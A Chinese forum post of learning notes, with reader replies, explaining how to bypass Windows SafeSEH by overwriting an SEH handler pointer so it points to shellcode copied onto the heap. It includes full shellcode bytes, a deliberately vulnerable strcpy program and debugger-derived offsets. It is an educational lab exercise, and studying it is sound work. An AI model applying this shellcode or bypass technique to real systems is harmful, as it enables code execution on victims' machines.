突破SafeSEH机制之一——利用堆绕过SafeSEH

筠溪

本文是为学习《0day》学习笔记，以整理思路，更希望能够和感兴趣的同学讨论学习。
我也是个新手，刚学漏洞调试，发现要学的东西太多，想要把漏洞学好，必须精通各类系统底层机制，汇编，PE等等等等太多太多，所以不可能把这些东西都学会了，再去调试漏洞，只能一步步慢慢从简单开始，另外也要学会忽略那些你现在所力不能及的地方，如果实在不懂，就跳过，可能到哪一天你忽然就明白了。所以这里，也是希望同学们想学习的不要被这个东西吓到，静下心来慢慢看，如果有不懂的，我可以倾尽所能告诉大家，我要是不懂，论坛里不是还有各种大神嘛，一起请教他们啊。
另外建议大家学习的时候，一定要亲力亲为，最好有自己的实验环境，搭个虚拟机调试一下，自己做过和看过是不一样的概念。
——————————————————————————————————割——————————————————————————————————

同学们，我对不起你们，我忽然发现说了半天了，没给你说SEH是啥，难怪有人说看不懂，在这补充一下把。
其实要说为了突破SEH机制，不需要深究太多原理，只要把SEH的基本原理，以及SEH链的结构整明白就行了，主要是那个链。（因为windows从没有公开过SEH的具体实现，都是靠大牛们逆向出来的）
SEH:structured Exception Handling,结构化异常处理。是Windows上，Microsoft对C/C++程序语言做的语法扩展，用于处理异常事件的程序控制结构。
异常事件是打断程序正常执行流程的不在期望之中的硬件、软件事件。
硬件异常是CPU抛出的如“除0”、数值溢出等；软件异常是操作系统与程序通过RaiseException语句抛出的异常。
我们需要对SEH知道以下几点：
1、SEH是位于栈中的
2、栈中多个SEH通过链表指针在栈内串成单向链表，位于链表最顶端的SEH通过TEB（线程环境块）0字节处的指针标示（fs:[0]）
3、如果源代码中使用了__try{}  __except{}，编译器会向当前函数栈帧安装一个SEH
4、每个SEH包含两个DWORD指针：SEH链表指针和异常处理函数句柄（敲黑板敲黑板！！）———所以我们覆盖的是这个异常处理函数句柄
5、当离事故现场最近的异常处理函数处理不了的时候，顺着这个SEH链表依次尝试其他的异常处理函数，如果都没处理，就交给系统的顶层异常处理函数
SEH链表如下：


——————————————————————————————————手工分割线——————————————————————————————————————
SafeSEH
Windows XP sp2以后微软引入了著名的SafeSEH机制，在程序调用异常处理函数之前，会对要调用的异常处理函数进行有效性校验，当发现异常函数不可靠时，将终止异常处理函数的调用。
SafeSEH流程（我估计是这张图让大家蒙X了，是的，这张图是本帖最难的=。=）
其实没必要完全整明白，只需要知道，函数在跳向异常处理函数的时候，会对这个函数进行各种各样的有效性检查就够了。

突破思路：
那么有3种情况，系统可以允许异常处理函数执行：
1、异常处理函数位于加载模块内存范围之外，DEP关闭（下下次写这个）
2、异常处理函数位于加载模块内存范围之内，相应模块未启用SafeSEH（SafeSEH表为空），不是纯IL（下一次写这个）
3、异常处理函数位于加载模块内存范围之内，相应模块启用SafeSEH，异常处理函数地址包含在SafeSEH表中（放弃）

可以看到，我们突破SafeSEH的方法分为3种
1、排除DEP干扰，在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板，转入shellcode执行
3、由于SafeSEH表加密，对于新手的我暂时不考虑了。

利用堆绕过SafeSEH
今天先利用一个简单的方法绕过SafeSEH
原理：
如果SEH中的异常处理函数指针指向堆区，即使安全校验发现了SEH不可信，仍然会调用已经被修改过的异常处理函数，因此可以将shellcode布置到堆区就可以执行了。
调试环境：
SP sp3
vs2008
Release版本
（有没有大神看到我的这个问题！！）DEP这个问题我想请教一下大家，书中要求关闭，我看我的vs里面没有关闭，也没有影响实验结果。如下图：

调试思路：
这次的比较简单
1、确定shellcode在堆中的地址->在malloc后面下一个int3中断，eax存放的是堆分配的地址，也即shellcode拷贝的首地址
2、确定SEH指针地址（确定覆盖地址），确定shellcode在栈中的首地址，计算shellcode大小
源程序：

[C] 纯文本查看 复制代码

#include <stdio.h>#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;

int zero = 0;
void test(char *input)
{
        char str[200];
        strcpy(str, input);
        zero = 1/zero;
}

void main()
{
        char * buf=(char *)malloc(500);
        __asm int 3
        strcpy(buf,shellcode);
        test(shellcode);        
}

第一步：
先将shellcode设置为200字节，调试后在确定还需要多远才能覆盖掉SEH指针
直接双击Release程序，OD开始调试：

得到堆地址：0x003929B8
第二步：  
运行到test中的strcpy，可以直接运行到循环结束，我是不想看汇编了，搜索FC68字符，直接定位shellcode在栈中的位置：0x0012FE8C
然后直接F9，查看SEH链情况：

SEH地址0x0012FFB0+4
所以能够得出shellcode大小为0x12FFB4-0x12FE8C+4=300

所以填充shellcode后，代码如下：

[C] 纯文本查看 复制代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xB8\x29\x39\x00"//address of shellcode in heap
;

int zero = 0;
void test(char *input)
{
        char str[200];
        strcpy(str, input);
        zero = 1/zero;
}

void main()
{
        char * buf=(char *)malloc(500);
        //__asm int 3
        strcpy(buf,shellcode);
        test(shellcode);        
}

筠溪

失业 发表于 2017-7-31 15:33
从头到尾都看不懂

建议看一下王清主编的《0day安全软件漏洞分析技术第二版》。这是漏洞入门的神作，基本都是看这个学的。另外你搜索《Q版缓冲区溢出》，这是10年前一个大神写的漏洞入门的文章，写的很好，但是里面有的程序跑不通。在学习的时候可能会涉及很多不懂的知识，哪些不懂再百度单独学，别钻牛角尖，有问题多提问，慢慢就好了。

niuniu919

好高深的知识，像看天上一样。

欧尼酱的小师妹

一脸懵逼看不懂

by_l

好高深的知识

筠溪

niuniu919 发表于 2017-7-31 10:51
好高深的知识，像看天上一样。

大神带我！

筠溪

欧尼酱的小师妹 发表于 2017-7-31 10:51
一脸懵逼看不懂

哪里不懂，举起你的小手请提问~

asd9988

差点以为楼主是抄袭来的哈哈，结果看了一下楼主的帖子发现不是

fzx118

牛逼哄哄     支持大神

筠溪

asd9988 发表于 2017-7-31 11:59
差点以为楼主是抄袭来的哈哈，结果看了一下楼主的帖子发现不是

其实思路都是按照作者来的，只不过调试思路是自己的。

筠溪

fzx118 发表于 2017-7-31 12:34
牛逼哄哄     支持大神

不是大神{:1_903:}